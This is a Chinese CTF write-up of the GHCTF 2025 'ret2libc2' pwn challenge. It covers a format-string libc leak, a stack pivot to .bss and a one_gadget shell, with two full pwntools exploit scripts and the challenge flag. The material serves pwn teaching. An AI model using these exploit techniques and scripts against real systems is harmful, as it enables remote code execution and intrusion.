栈迁移与onegadget利用[GHCTF 2025]ret2libc2

ida 看 main 函数

跟进 func 函数

原以为可以直接打 ret2libc,但是这里没有程序没有 pop rdi

不过这里存在格式化字符串漏洞,也可以用来泄露 libc

我们直接看汇编

虽然 format 被初始化为 "hello world!"

但是它就在 buf 下面,后面的 read 我们可以读入 0x60

因此我们就可以覆盖 format,利用 printf 来泄露 libc 里的真实地址

这里 rax 存的就是 buf,我们溢出后劫持程序到 0x401227,即指令:

复制代码
mov rdi, rax 

后面再次执行 printf 函数,打印出真实地址,我们就可以计算 libc 基址了

然后程序会继续执行 read 函数,我们又可以溢出,劫持到 system 从而 getshell

大致利用思路就是这样,那么我们先找一下偏移

我一开始想直接用这个 __libc_start_call_main

但是在 libc 的符号表里面没有找到

后面换用 __libc_start_main

可以看到,这里 __libc_start_main+128 的偏移是 27

计算基址:

python 复制代码
libc_base = libc_start_main_128 - 128 - libc.symbols['__libc_start_main']

但是这里还有一个问题

正常的函数开头会有:

python 复制代码
push rbp
mov rbp, rsp
sub rsp, xxx

由于我们劫持到了函数的中间位置(0x401227)

栈帧没被设置,rbp 如果被我们填成了垃圾数据,后面 leave 指令就会出问题

因为 rsp 指向了一块无意义的数据,pop rbp 和 ret 都会崩掉

因此 rbp 不能随便填充

我们就需要进行栈迁移,我们一般迁移到 bss 段,可控可写

因为程序没有 pop rdi,我们在 libc 里面找

ret 都有,随便用一个即可

python 复制代码
pop_rdi = libc_base + 0x2a3e5
ret_addr = libc_base + 0x29139
#ret_addr = 0x40101a

按理来说我们就可以打 ret2libc 了

编写 exp:

python 复制代码
# @author:My6n
# @time:20250525
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('node1.anna.nssctf.cn',28712)
elf = ELF('./pwn')
bss_addr = 0x404060
payload1 = b'%27$p'.ljust(0x30,b'\x00') + p64(bss_addr) + p64(0x401227)

io.sendline(payload1)
io.recvuntil('0x')
libc_start_main_128 = int(io.recv(12),16)
print(hex(libc_start_main_128))

#libc = ELF('libc.so.6') 
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = libc_start_main_128 - 128 - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
pop_rdi = libc_base + 0x2a3e5
ret_addr = libc_base + 0x29139
#ret_addr = 0x40101a

payload2 = cyclic(0x30) + p64(bss_addr) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()

但是这里没有打通

结合题目提示,需要打 onegadget

那么我们就直接打 onegadget呗

我们尽量让 rbp 往高地址靠,这样容易满足 [rbp-0x70]=NULL 的条件

这里试了下,下面的两个都是可以的:

python 复制代码
onegadget = 0xebc81 + libc_base
onegadget = 0xebd43 + libc_base

编写 exp:

python 复制代码
# @author:My6n
# @time:20250525
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node1.anna.nssctf.cn',28712)
elf = ELF('./pwn')
bss_addr = 0x404060
payload=b'%27$p'.ljust(0x30,b'\x00') + p64(bss_addr) + p64(0x401227)

io.sendline(payload)
io.recvuntil('0x')
libc_start_call_main_128 = int(io.recv(12),16)
print(hex(libc_start_call_main_128))

libc = 	ELF('libc.so.6') 
libc_base = libc_start_call_main_128 - 128 - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
pop_rdi = libc_base + 0x2a3e5
#ret_addr = libc_base + 0x29139
ret_addr = 0x40101a

#onegadget = 0xebc81 + libc_base
onegadget = 0xebd43 + libc_base
#payload2 = cyclic(0x30) + p64(bss_addr) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)

payload2 = cyclic(0x30) + p64(bss_addr+0x100) + p64(onegadget)
io.sendline(payload2)
io.interactive()

可以打通,没有问题

拿到 flag: NSSCTF{ac2d7858-c021-430a-ba8d-e5b6d14139da}

相关推荐
潜创微科技5 小时前
IT6520:USB‑C 转 MIPI 芯片方案 4K@120Hz 高清显示
c语言·开发语言
网教盟人才服务平台6 小时前
全国政务网络安全能力提升行动启动,筑牢政务数据安全防线
安全·web安全·政务
黎阳之光6 小时前
黎阳之光:以视频孪生重构智能监盘,为燃机打造新一代智慧电厂大脑
大数据·人工智能·算法·安全·数字孪生
汽车仪器仪表相关领域6 小时前
Kvaser Hybrid Pro 2xCAN/LIN 双通道可编程CAN/LIN通讯接口:一机双模可编程,汽车车身混合总线测试专用设备
人工智能·功能测试·安全·fpga开发·汽车·压力测试
Bruce_Liuxiaowei6 小时前
2026年5月第4周网络安全形势周报
网络·人工智能·安全·web安全·网络安全·系统安全
HMS工业网络7 小时前
边缘网关网络安全
网络·安全·web安全
hh.h.7 小时前
CANN算子开发入门:从零开始写第一个Ascend C算子
c语言·开发语言·cann·c算子
AI科技星8 小时前
全域数学·第三部·数术几何部·平行网格卷 完整专著目录(含拓扑发展史+学科定位·终稿)
c语言·开发语言·网络·量子计算·agi
zhongerzixunshi8 小时前
ISO45001职业健康安全管理体系详解
安全
枕星而眠9 小时前
Linux 四大进程/线程同步锁详解:互斥锁、读写锁、条件变量、文件锁
linux·c语言·后端·ubuntu·学习方法